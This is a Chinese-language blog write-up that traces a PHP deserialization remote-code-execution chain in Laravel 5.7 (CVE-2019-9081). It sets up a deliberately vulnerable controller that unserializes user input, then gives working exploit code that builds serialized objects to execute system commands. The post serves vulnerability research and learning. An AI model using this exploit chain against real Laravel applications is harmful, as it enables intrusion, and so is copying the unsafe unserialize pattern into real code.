php 反序列化后面有省略号,Laravel5.7反序列化漏洞之RCE链挖掘 | 码农网

在前一阵的 2019强网杯线下赛 中,出现一道 Laravel5.7 RCE 漏洞的利用。之前有关注过这个漏洞,但没细究。比赛期间,原漏洞作者删除了详细的分析文章,故想自己挖掘这个漏洞利用链。本文将详细记录 Laravel5.7 反序列化漏洞RCE链 的挖掘过程。

漏洞环境

直接使用 composer 安装 laravel5.7 框架,并通过 php artisan serve 命令启动 Web 服务。

➜ html composer create-project laravel/laravel laravel57 "5.7.*"

➜ html cd laravel57

➜ laravel57 php artisan serve --host=0.0.0.0

在 laravel57/routes/web.php 文件中添加一条路由,便于我们后续访问。

// /var/www/html/laravel57/routes/web.php

Route::get("/","\App\Http\Controllers\DemoController@demo");

?>

在 laravel57/app/Http/Controllers/ 下添加 DemoController 控制器,代码如下:

// /var/www/html/laravel57/app/Http/Controllers/DemoController.php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class DemoController extends Controller

{

public function demo()

{

if(isset($_GET['c'])){

$code = $_GET['c'];

unserialize($code);

}

else{

highlight_file(__FILE__);

}

return "Welcome to laravel5.7";

}

}

漏洞链挖掘

可用于执行命令的功能位于 Illuminate/Foundation/Testing/PendingCommand 类的 run 方法中,而该 run 方法在 __destruct 方法中调用。我们可以参阅官方提供的 API 说明手册,来看下各属性和方法的具体含义。

a22e7a2260bd5d85321ea83f849c034c.png

接着我们看下 run 方法的具体代码。如下图所示,当执行完 mockConsoleOutput 方法后,程序会在 第22行 执行命令。那么要想利用这个命令执行,我们就要保证 mockConsoleOutput 方法在执行时不会中断程序(如exit、抛出异常等)。

68dce36c45ba32f27b141ef561a42220.png

我们跟进 mockConsoleOutput 方法。在下图 第6行 代码,我们先使用单步调试直接跳过,观察代码是否继续执行到 第10行 的 foreach 代码。如果没有,我们则需要对 第6行 代码进行详细分析。经过调试,我们会发现程序正常执行到 第10行 ,那 第6行 的代码我们就可以先不细究。

11b91e257d3a435ae0fe76edc1ed3698.png

从上图可看出, 第10行 $this->test 对象的 expectedQuestions 属性是一个数组。如果这个数组的内容可以控制,当然会方便我们控制下面的链式调用。所以我们这里考虑通过 __get 魔术方法来控制数据,恰巧 laravel 框架中有挺多可利用的地方,这里我随意选取一个 Faker\DefaultGenerator 类。

dac138fc316599139bdf565377548b4d.png

所以我们构造如下 EXP 继续进行测试。同样,使用该 EXP 在 foreach 语句处使用单步跳过,看看是否可以正常执行到 $this->app->bind(xxxx) 语句。实际上,这里可以正常结束 foreach 语句,并没有抛出什么异常。同样,我们对 $this->app->bind(xxxx) 语句也使用单步跳过,程序同样可以正常运行。

namespace Illuminate\Foundation\Testing{

class PendingCommand{

public $test;

protected $app;

protected $command;

protected $parameters;

public function __construct($test, $app, $command, $parameters)

{

$this->test = $test;

$this->app = $app;

$this->command = $command;

$this->parameters = $parameters;

}

}

}

namespace Faker{

class DefaultGenerator{

protected $default;

public function __construct($default = null)

{

$this->default = $default;

}

}

}

namespace Illuminate\Foundation{

class Application{

public function __construct() { }

}

}

namespace{

$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));

$application = new Illuminate\Foundation\Application();

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));

echo urlencode(serialize($pendingcommand));

}

?>

使用上面的 EXP ,我们已经可以成功进入到最后一步,而这里如果直接单步跳过就会抛出异常,因此我们需要跟进细看。

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

这里的 $this->app 实际上是 Illuminate\Foundation\Application 类,而在类后面使用 [] 是什么意思呢?一开始,我以为这是 PHP7 的新语法,后来发现并不是。我们在上面的代码前加上如下两段代码,然后动态调试一下。

$kclass = Kernel::class;

$app = $this->app[Kernel::class];

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

可以看到 Kernel::class 对应固定的字符串 Illuminate\Contracts\Console\Kernel ,而单步跳过 $app = $this->app[Kernel::class]; 代码时会抛出异常。跟进这段代码,我们会发现其会依次调用如下类方法,这些我们都不需要太关注,因为没有发现可控点。

6326efcf06dc814b4ba7a40cfbd91d35.png

我们要关注的点在最后调用的 resolve 方法上,因为这段代码中有我们可控的利用点。如下图中 角标1 处,可以明显看到程序 return 了一个我们可控的数据。也就是说,我们可以将任意对象赋值给 $this->instances[$abstract] ,这个对象最终会赋值给 $this->app[Kernel::class] ,这样就会变成调用我们构造的对象的 call 方法了。(下图的第二个点是原漏洞作者利用的地方,目的也是返回一个可控类实例,具体可以参看文章: laravelv5.7反序列化rce(CVE-2019-9081) )

5c5141a55b710af9e030bab0731cfced.png

现在我们再次构造如下 EXP 继续进行尝试。为了避免文章篇幅过长,与上面 EXP 相同的代码段用省略号代替。

namespace Illuminate\Foundation\Testing{

class PendingCommand{

...

}

}

namespace Faker{

class DefaultGenerator{

...

}

}

namespace Illuminate\Foundation{

class Application{

protected $instances = [];

public function __construct($instances = [])

{

$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;

}

}

}

namespace{

$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));

$app = new Illuminate\Foundation\Application();

$application = new Illuminate\Foundation\Application($app);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));

echo urlencode(serialize($pendingcommand));

}

?>

我们用上面生成的 EXP 尝试攻击,会发现已经可以成功执行命令了。

8f8c5d1a39bf6dec17cd6ff01b1f7adf.png

这里我们再来说说为什么这里 $this->instances[‘Illuminate\Contracts\Console\Kernel’] 我选择的是 Illuminate\Foundation\Application 类,我们跟着 EXP 。

Illuminate\Foundation\Application类继承了 Illuminate\Container\Container 类的 call 方法,其调用的又是 Illuminate\Container\BoundMethod 的 call 静态方法。而在这个静态方法中,我们看到一个关键函数 call_user_func_array ,其在闭包函数中被调用。

2d07476ad014d14c18d78f46cba08377.png

我们先来看一下这个闭包函数在 callBoundMethod 静态方法中是如何被调用的。可以看到在 callBoundMethod 方法中,返回了闭包函数的调用结果。而闭包函数中返回了 call_user_func_array($callback, static::getMethodDependencies(xxxx)) ,我们继续看这个 getMethodDependencies 函数的代码。该函数仅仅只是返回 $dependencies 数组和 $parameters 的合并数据,其中 $dependencies 默认是一个空数组,而 $parameters 正是我们可控的数据。因此,这个闭包函数返回的是 call_user_func_array(可控数据,可控数据) ,最终导致代码执行。

2d8e833fc3487171cf5df2637ce2cac7.png

总结

个人认为 PHP 相关的漏洞中,最有意思的部分就属于 POP链 的挖掘。通过不断找寻可利用点,再将它们合理的串成一条链,直达漏洞核心。为了防止思维被固化,个人不建议一开始就去细看他人的漏洞分析文章,不妨自己先试着分析分析。待完成整个漏洞的分析(或遇到问题无法继续下去时),再看他人的文章,学习他们优秀的思路,从而提高自身的代码审计能力。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值